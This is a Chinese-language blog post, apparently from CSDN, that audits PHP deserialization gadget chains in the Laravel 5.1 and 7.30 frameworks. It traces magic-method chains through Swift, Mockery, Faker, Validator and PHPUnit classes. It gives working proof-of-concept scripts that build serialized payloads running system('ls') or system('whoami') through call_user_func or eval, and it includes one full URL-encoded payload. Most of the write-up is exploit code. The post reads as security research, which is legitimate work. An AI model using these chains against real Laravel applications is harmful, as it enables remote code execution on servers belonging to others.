• laravel5.1反序列化


    前言:

    没事做,java依赖向搞不定就来审计框架

    环境搭建

    1. composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
    2. #下载的版本应该是 5.4.30的。

    laravel5.1分析:

    RCE 1

    既然是反序列化 直接找__destruct()

    KeyCache\DiskKeyCache.php

    跟进 

    1. public function clearAll($nsKey) //nsKey()数组
    2. {
    3. if (array_key_exists($nsKey, $this->_keys)) { //_keys 中查找nsKey
    4. foreach ($this->_keys[$nsKey] as $itemKey => $null) { //遍历nsKey 的值 赋给itemKey //array["$nsKey"=>Array["$itemKey"=>"value"]]
    5. $this->clearKey($nsKey, $itemKey);
    6. }
    7. if (is_dir($this->_path.'/'.$nsKey)) {
    8. rmdir($this->_path.'/'.$nsKey);
    9. }
    10. unset($this->_keys[$nsKey]);
    11. }
    12. }

    跟进 clearKey

    1. public function clearKey($nsKey, $itemKey)
    2. {
    3. if ($this->hasKey($nsKey, $itemKey)) {
    4. $this->_freeHandle($nsKey, $itemKey);
    5. unlink($this->_path.'/'.$nsKey.'/'.$itemKey);
    6. }
    7. }

    跟进 hashkey

    1. public function hasKey($nsKey, $itemKey)
    2. {
    3. return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
    4. }

    这里的 _path 可控

     而这里的$nsKey 和 $itemKey 都是我们的数组只要有值就行了。

    return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);

    这里进行了一个 字符串拼接,因为path 可控,如果他是一个类,那么会自动触发__toString()方法

    触发toString本地测试,会弹出计算器

    1. class test{
    2. public function __toString(){
    3. system("calc.exe");
    4. return "test this";
    5. }
    6. }
    7. $a = new test();
    8. echo "this class a " . $a;

    现在要寻找 合适的__toString() 方法

    找到 /Mockery/Generator/DefinedTargetClass.php

    1. public function __toString()
    2. {
    3. return $this->getName();
    4. }

    跟进

    1. public function getName()
    2. {
    3. return $this->rfc->getName();
    4. }

    这里的rfc 可控

     如果这个rfc 是一个类 且该类中没有getName 方法 则会自动调用call()方法,就不本地测试了

    全局搜索可能可以利用的 __call()

    找到 src/Faker/Generator.php  的__call()

    1. public function __call($method, $attributes)
    2. {
    3. return $this->format($method, $attributes);
    4. }

    因为我们原来的链子是 $this ->rfc ->getName() 触发的 __call 

    所以 这里的 $method getName。 $attributes 可控。

    跟进format

    1. public function format($formatter, $arguments = array())
    2. {
    3. return call_user_func_array($this->getFormatter($formatter), $arguments);
    4. }

    看到危险函数 call_user_func_array  ,跟进getFormatter

    1. public function getFormatter($formatter)
    2. {
    3. if (isset($this->formatters[$formatter])) {
    4. return $this->formatters[$formatter];
    5. }

    这个 $formatters  是可控的 

     现在 $formatters 可控 ,$arguments也可控 ,是不是意味着可以RCE,但是遇到了个问题,造成这个链子的失败:

     这个类中有个__wakeup方法,他把 $formatters 置空了,而反序列化是必须经过wakeup()的,所以这个链子无法利用成功

    继续寻找 __call方法:

    在 src/Faker/ValidGenerator.php 找到:

    1. public function __call($name, $arguments)
    2. {
    3. $i = 0;
    4. do {
    5. $res = call_user_func_array(array($this->generator, $name), $arguments);
    6. $i++;
    7. if ($i > $this->maxRetries) {
    8. throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
    9. }
    10. } while (!call_user_func($this->validator, $res));

    依旧存在危险函数,因为一开始我们的链子断掉了 所以 我们一开始的 链子还是回到一开始的

    $this->rfc->getName();

    所以这里的 $name = getName,  $this->generator 可控,所以这里的

    call_user_func_array(array($this->generator, $name), $arguments)

     就是 可以把generator 看成 一个类 然后 调用他的 $name 方法,因此这里的name 不能是我们控制的值。

    关于这个:

    1. if ($i > $this->maxRetries) {
    2. throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));

    应该是maxRetries 有值就可以了吧(猜的

    while (!call_user_func($this->validator, $res));

    这个  $this->validator 可控,而这里的 $res  是上面的那个语句得到的结果,如果我们能控制 $res 的值,那么就能够 RCE 了!

    思路:$res 是 $res = call_user_func_array(array($this->generator, $name), $arguments)得到的,这里是  call_user_func_array( [ $generator,  getName()], $arguments)。 所以我的思路是,把$generator 变成一个类,这样他就会调用__call方法 ,继续利用,可以使$res 成为我们想要的值。

    在 src/Faker/DefaultGenerator.php 找到:

    1. public function __call($method, $attributes)
    2. {
    3. return $this->default;
    4. }

    这里的default 可控,那么这条链子就通了

    poc:

    1. namespace {
    2. use \Mockery\Generator\DefinedTargetClass;
    3. class Swift_KeyCache_DiskKeyCache
    4. {
    5. private $_keys = ['snowy' => array('snowy' => 'snowy')];
    6. private $_path;
    7. public function __construct()
    8. {
    9. $this->_path = new DefinedTargetClass();
    10. }
    11. }
    12. echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
    13. }
    14. namespace Mockery\Generator {
    15. use Faker\ValidGenerator;
    16. class DefinedTargetClass
    17. {
    18. private $rfc;
    19. public function __construct()
    20. {
    21. $this->rfc = new ValidGenerator();
    22. }
    23. }
    24. }
    25. namespace Faker {
    26. class ValidGenerator
    27. {
    28. protected $generator;
    29. protected $validator;
    30. protected $maxRetries;
    31. public function __construct()
    32. {
    33. $this->generator = new DefaultGenerator();
    34. $this->validator = "system";
    35. $this->maxRetries = 7;
    36. }
    37. }
    38. class DefaultGenerator
    39. {
    40. protected $default;
    41. public function __construct()
    42. {
    43. $this->default = "ls";
    44. }
    45. }
    46. }
    47. //O%3A27%3A%22Swift_KeyCache_DiskKeyCache%22%3A2%3A%7Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_keys%22%3Ba%3A1%3A%7Bs%3A5%3A%22snowy%22%3Ba%3A1%3A%7Bs%3A5%3A%22snowy%22%3Bs%3A5%3A%22snowy%22%3B%7D%7Ds%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_path%22%3BO%3A36%3A%22Mockery%5CGenerator%5CDefinedTargetClass%22%3A1%3A%7Bs%3A41%3A%22%00Mockery%5CGenerator%5CDefinedTargetClass%00rfc%22%3BO%3A20%3A%22Faker%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00generator%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A2%3A%22ls%22%3B%7Ds%3A12%3A%22%00%2A%00validator%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00maxRetries%22%3Bi%3A7%3B%7D%7D%7D

    RCE 2

    继续原来的 toString 方法  还能挖~从这里开始~

    1. public function hasKey($nsKey, $itemKey)
    2. {
    3. return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
    4. }

    继续全局找__toString()

    找了有一会

    Argument/Token/ObjectStateToken.php

    1. public function __toString()
    2. {
    3. return sprintf('state(%s(), %s)',
    4. $this->name,
    5. $this->util->stringify($this->value)
    6. );
    7. }

    此时 ,$this->util 和 $this->value 可控  一样的  util 如果是类,则调用call ,所以我们还是找call

    因为有事 所以待审。。。。

    Laravel7.30

    RCE 1

    Routing/PendingResourceRegistration.php

    1. namespace Illuminate\Routing;
    2. class PendingResourceRegistration{
    3. public function __destruct()
    4. {
    5. if (! $this->registered) {
    6. $this->register();
    7. }
    8. }}

    跟进register

    1. namespace Illuminate\Routing;
    2. class PendingResourceRegistration{
    3. public function register()
    4. {
    5. $this->registered = true;
    6. return $this->registrar->register(
    7. $this->name, $this->controller, $this->options
    8. );
    9. }
    10. }

    熟悉的 $this->registrar->register 格式,registrar 可控,找__call方法

    src/Illuminate/Validation/Validator.php

    1. namespace Illuminate\Validation;
    2. class Validator{
    3. public function __call($method, $parameters)
    4. {
    5. $rule = Str::snake(substr($method, 8));
    6. if (isset($this->extensions[$rule])) {
    7. return $this->callExtension($rule, $parameters);
    8. }
    9. throw new BadMethodCallException(sprintf(
    10. 'Method %s::%s does not exist.', static::class, $method
    11. ));
    12. }}
    $rule = Str::snake(substr($method, 8));

    $method = register ,  $parameters = [  $this->name, $this->controller, $this->options  ]

    substr(register,8)截取的是空字符 '' 

    1. if (isset($this->extensions[$rule])) {
    2. return $this->callExtension($rule, $parameters);
    3. }

    extensions 可控: 

    进入 callExtension($rule, $parameters)

    1. protected function callExtension($rule, $parameters)
    2. {
    3. $callback = $this->extensions[$rule];
    4. if (is_callable($callback)) {
    5. return $callback(...array_values($parameters));
    6. } elseif (is_string($callback)) {
    7. return $this->callClassBasedExtension($callback, $parameters);
    8. }
    9. }

    $this->extensions[$rule] =  $this->extensions[‘’]   ,['']就等于 $callback

    php在用户自定义函数中支持可变数量的参数列表,包含…的参数,会转换为指定参数变量的一个数组。array_values会返回数组中所有值组成的数组 

    因此这里设置 $callback = $this->extensions[''] = call_user_func

    传进来的三个参数($parameters)分别设置为:call_user_func、system、命令

    所以这里的 $name = call_user_func   , $controller = system , $options = 我们要执行的命令

    1. namespace Illuminate\Validation{
    2. class Validator{
    3. public $extensions = [];
    4. public function __construct()
    5. {
    6. $this ->extensions[''] = 'call_user_func';
    7. }
    8. }
    9. }
    10. namespace Illuminate\Routing{
    11. use Illuminate\Validation\Validator;
    12. class PendingResourceRegistration{
    13. protected $registrar;
    14. protected $registered=false;
    15. protected $name ='call_user_func';
    16. protected $controller ='system';
    17. protected $options ='whoami';
    18. public function __construct()
    19. {
    20. $this ->registrar = new Validator();
    21. }
    22. }echo urlencode(serialize(new PendingResourceRegistration()));
    23. }

    RCE2

    回到此处:

    1. namespace Illuminate\Routing;
    2. class PendingResourceRegistration{
    3. public function __destruct()
    4. {
    5. if (! $this->registered) {
    6. $this->register();
    7. }
    8. }}
    1. namespace Illuminate\Routing;
    2. class PendingResourceRegistration{
    3. public function register()
    4. {
    5. $this->registered = true;
    6. return $this->registrar->register(
    7. $this->name, $this->controller, $this->options
    8. );
    9. }
    10. }

    继续找call方法   Illuminate/View/InvokableComponentVariable.php

    1. namespace Illuminate\View;
    2. class InvokableComponentVariable{
    3. public function __call($method, $parameters){
    4. return $this->__invoke()->{$method}(...$parameters);}
    5. }

    这里 的call 方法  传入的 $method 是 register ,$parameters = $this->name, $this->controller, $this->options

    跟进第一个__invoke():

    1. namespace Illuminate\View;
    2. public function __invoke()
    3. {
    4. return call_user_func($this->callable);
    5. }
    protected $callable;  可控 且可以设置成一个数组,第一个元素为类名,第二个参数为类方法,便能够利用,先找到一个可利用的类

    先全局搜索 eval() 函数 

    在 \vendor\phpunit\phpunit\src\Framework\MockObject\MockClass.php 找到

    1. namespace PHPUnit\Framework\MockObject;
    2. class MockClass{
    3. public function generate(): string
    4. {
    5. if (!class_exists($this->mockName, false)) {
    6. eval($this->classCode);
    7. call_user_func(
    8. [
    9. $this->mockName,
    10. '__phpunit_initConfigurableMethods',
    11. ],
    12. ...$this->configurableMethods
    13. );
    14. }}

    $mockName 可控,設置成一個 不存在的类即可

    $classCode 可控 所以可以设置我们要执行的代码

    POC:

    1. namespace PHPUnit\Framework\MockObject{
    2. class MockClass{
    3. private $mockName;
    4. private $classCode;
    5. public function __construct()
    6. {
    7. $this->mockName = "snowy";
    8. $this->classCode = "system('whoami');";
    9. }
    10. }}
    11. namespace Illuminate\View {
    12. use PHPUnit\Framework\MockObject\MockClass;
    13. class InvokableComponentVariable
    14. {
    15. protected $callable ;
    16. public function __construct(){
    17. $this ->callable =array(new MockClass(), 'generate');
    18. }
    19. }
    20. }
    21. namespace Illuminate\Routing {
    22. use Illuminate\View\InvokableComponentVariable;
    23. class PendingResourceRegistration{
    24. protected $registered ;
    25. protected $registrar ;
    26. public function __construct(){
    27. $this ->registered = false;
    28. $this ->registrar = new InvokableComponentVariable();
    29. }
    30. }
    31. echo urlencode(serialize(new PendingResourceRegistration()));
    32. }

     

  • 相关阅读:
    文件系统(九):一文看懂yaffs2文件系统原理
    leetcode:2446. 判断两个事件是否存在冲突(python3解法)
    肖sir___银行项目讲解理财
    Aspose.Words 22.11.0 Crack | Aspose.Words
    钉钉智慧校园小程序如何开发,你知道么!
    进程同步互斥之吸烟者问题,读者写者问题,哲学家进餐问题
    oracle导入导出某个schema数据
    MySQL模糊查询你只知道LIKE就OUT了
    在服务器上开Juypter Lab教程(远程访问)
    2022 极术通讯-《服务器应用场景性能测试方法 虚拟化》解读
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/127637856